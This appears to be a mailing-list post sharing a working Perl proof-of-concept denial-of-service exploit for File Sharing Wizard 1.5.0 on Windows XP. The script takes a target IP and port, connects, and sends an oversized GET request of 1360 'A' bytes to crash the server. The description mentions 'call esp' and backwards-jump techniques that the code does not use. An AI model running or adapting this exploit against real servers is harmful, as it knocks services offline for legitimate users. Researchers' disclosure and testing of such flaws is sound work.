, good morning.
How are you?
I'm sharing the creation of an exploit to exploit a denial of service vulnerability in: File Sharing Wizard 1.5.0 - Denial of Service (DoS).
#!/usr/bin/perl
use IO::Socket::INET;
# Exploit Title: File Sharing Wizard 1.5.0 - Denial of Service (DoS)# Discovery by: Fernando Mengali# Discovery Date: 07 january 2024# Vendor Homepage: N/A# Download to demo: https://drive.google.com/file/d/13fs9IHSaGQ27YIQNDyrQV20jCT7owPQ6/view?usp=sharing# Notification vendor: No reported# Tested Version: File Sharing Wizard 1.5.0# Tested on: Window XP Professional - Service Pack 2 and 3 - English# Vulnerability Type: Denial of Service (DoS)# Vídeo: https://drive.google.com/file/d/1gPiMU0Wemdx-rxEzAPhQCyparn1JiX0j/view?usp=sharing
#1. Description
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).#For this exploit I have tried several strategies to increase reliability and performance:#Jump to a static 'call esp'#Backwards jump to code a known distance from the stack pointer.#The server did not properly handle request with large amounts of data via method GET to web server.#The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions.#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
#2. Proof of Concept - PoC
$sis="$^O";
if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; }
system("$cmd"); intro(); main(); print "[+] Exploiting... \n";
my $exploit = "\x41"x1360;
my $payload_header = "GET " . $exploit; $payload_header .= " HTTP/1.0\r\n\r\n";
my $connect = IO::Socket::INET->new( PeerAddr => $ip, PeerPort => $port, Proto => 'tcp' ) or die "Unable to connect to the victim: $!\n";
$connect->send($payload_header); close $connect;
print "[+] Done! Exploited!\n";
print "[+] Done - Exploited success!!!!!\n\n"; sub intro { print "#################################################################\n"; print "# File Sharing Wizard 1.5.0 - Denied of Service #\n"; print "# #\n"; print "# Coded by Fernando Mengali #\n"; print "# #\n"; print "# e-mail: fernando.mengalli\@gmail.com #\n"; print "# #\n"; print "#################################################################\n"; }
sub main {
our ($ip, $port) = @ARGV;
unless (defined($ip) && defined($port)) {
print " \nUsage: $0 <ip> <port> \n"; exit(-1);
} }

Have a great day and good weekend.
Thanks very much.
